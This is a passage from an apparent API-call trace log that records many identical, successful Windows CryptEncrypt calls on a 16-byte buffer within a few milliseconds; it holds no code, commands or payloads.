dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.974] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.975] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.976] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: 